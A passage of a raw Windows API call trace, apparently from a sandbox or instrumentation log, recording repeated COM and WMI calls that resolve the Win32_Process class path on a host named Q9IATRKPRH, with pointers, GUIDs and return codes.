pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0157.893] WbemLocator:IUnknown:Release (This=0x1bbdd890) returned 0x2 [0157.893] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0157.893] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0157.893] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb97ac0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bb97ac0) returned 0x0 [0157.893] WbemLocator:IUnknown:Release (This=0x1bb97ac0) returned 0x2 [0157.893] SysStringLen (param_1=0x0) returned 0x0 [0157.893] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f200, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0157.893] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0157.893] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f200, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0157.893] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f5c0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0157.893] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f5c0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0157.893] IWbemServices:GetObject (in: This=0x1bb97ac0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bbb7dd0, ppCallResult=0x0) returned 0x0 [0157.897] IWbemClassObject:Get (in: This=0x1bbb7dd0, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0157.897] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0157.897] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0157.897] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0157.897] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0157.897] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0157.897] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.899] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1aa0d2f0) returned 0x0 [0157.899] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0d2f0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0157.899] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1aa0d2f0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bc3f140) returned 0x0 [0157.899] WbemDefPath:IUnknown:Release (This=0x1aa0d2f0) returned 0x0 [0157.899] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bc3f140) returned 0x0 [0157.899] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0157.900] WbemDefPath:IUnknown:AddRef (This=0x1bc3f140) returned 0x3 [0157.900] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0157.900] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0157.900] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1aa0d370) returned 0x0 [0157.900] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1aa0d370, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.900] WbemDefPath:IUnknown:Release (This=0x1aa0d370) returned 0x3 [0157.900] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0157.900] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0157.900] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0157.900] WbemDefPath:IUnknown:Release (This=0x1bc3f140) returned 0x2 [0157.900] WbemDefPath:IUnknown:Release (This=0x1bc3f140) returned 0x1 [0157.900] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0157.900] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0157.900] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f140, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bc3f140) returned 0x0 [0157.901] WbemDefPath:IUnknown:AddRef (This=0x1bc3f140) returned 0x3 [0157.901] WbemDefPath:IUnknown:Release (This=0x1bc3f140) returned 0x2 [0157.901] WbemDefPath:IWbemPath:SetText (This=0x1bc3f140, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0157.901] IWbemClassObject:Get (in: This=0x1bbb7dd0, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0157.901] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0157.901] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0157.901] IWbemClassObject:Get (in: This=0x1bbb7dd0, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0157.901] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0157.902] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0157.902] IWbemClassObject:Get (in: This=0x1bbb7dd0, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0157.902] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0157.902] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0157.902] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0157.902] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0157.902] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0157.902] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.904] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9d1ac0) returned 0x0 [0157.904] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9d1ac0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0157.904] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9d1ac0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3f080) returned 0x0 [0157.904] WbemDefPath:IUnknown:Release (This=0x1a9d1ac0) returned 0x0 [0157.904] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3f080) returned 0x0 [0157.904] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0157.904] WbemDefPath:IUnknown:AddRef (This=0x1bc3f080) returned 0x3 [0157.904] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0157.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0157.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9d1a40) returned 0x0 [0157.905] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9d1a40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.905] WbemDefPath:IUnknown:Release (This=0x1a9d1a40) returned 0x3 [0157.905] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0157.905] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0157.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0157.905] WbemDefPath:IUnknown:Release (This=0x1bc3f080) returned 0x2 [0157.905] WbemDefPath:IUnknown:Release (This=0x1bc3f080) returned 0x1 [0157.905] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0157.905] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0157.905] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f080, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3f080) returned 0x0 [0157.905] WbemDefPath:IUnknown:AddRef (This=0x1bc3f080) returned 0x3 [0157.905] WbemDefPath:IUnknown:Release (This=0x1bc3f080) returned 0x2 [0157.905] WbemDefPath:IWbemPath:SetText (This=0x1bc3f080, uMode=0x4, pszPath="") returned 0x0 [0157.905] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0157.905] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0157.905] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0157.905] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.907] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9d1ac0) returned 0x0 [0157.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9d1ac0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0157.907] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9d1ac0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bc3efc0) returned 0x0 [0157.907] WbemDefPath:IUnknown:Release (This=0x1a9d1ac0) returned 0x0 [0157.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bc3efc0) returned 0x0 [0157.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0157.907] WbemDefPath:IUnknown:AddRef (This=0x1bc3efc0) returned 0x3 [0157.907] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0157.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0157.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1a9d1a80) returned 0x0 [0157.908] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9d1a80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.908] WbemDefPath:IUnknown:Release (This=0x1a9d1a80) returned 0x3 [0157.908] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0157.908] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0157.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0157.908] WbemDefPath:IUnknown:Release (This=0x1bc3efc0) returned 0x2 [0157.908] WbemDefPath:IUnknown:Release (This=0x1bc3efc0) returned 0x1 [0157.908] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0157.908] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0157.908] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3efc0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bc3efc0) returned 0x0 [0157.908] WbemDefPath:IUnknown:AddRef (This=0x1bc3efc0) returned 0x3 [0157.908] WbemDefPath:IUnknown:Release (This=0x1bc3efc0) returned 0x2 [0157.908] WbemDefPath:IWbemPath:SetText (This=0x1bc3efc0, uMode=0x4, pszPath="") returned 0x0 [0157.908] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3efc0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0157.908] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f080, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0157.908] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bc3efc0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0157.908] WbemDefPath:IWbemPath:GetServer (in: This=0x1bc3efc0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0157.908] WbemDefPath:IWbemPath:SetServer (This=0x1bc3efc0, Name="Q9IATRKPRH") returned 0x0 [0157.908] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0157.908] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0157.908] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0157.908] IUnknown:Release (This=0x1a943398) returned 0x1 [0157.910] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1a9d1aa0) returned 0x0 [0157.910] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9d1aa0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0157.910] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9d1aa0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: 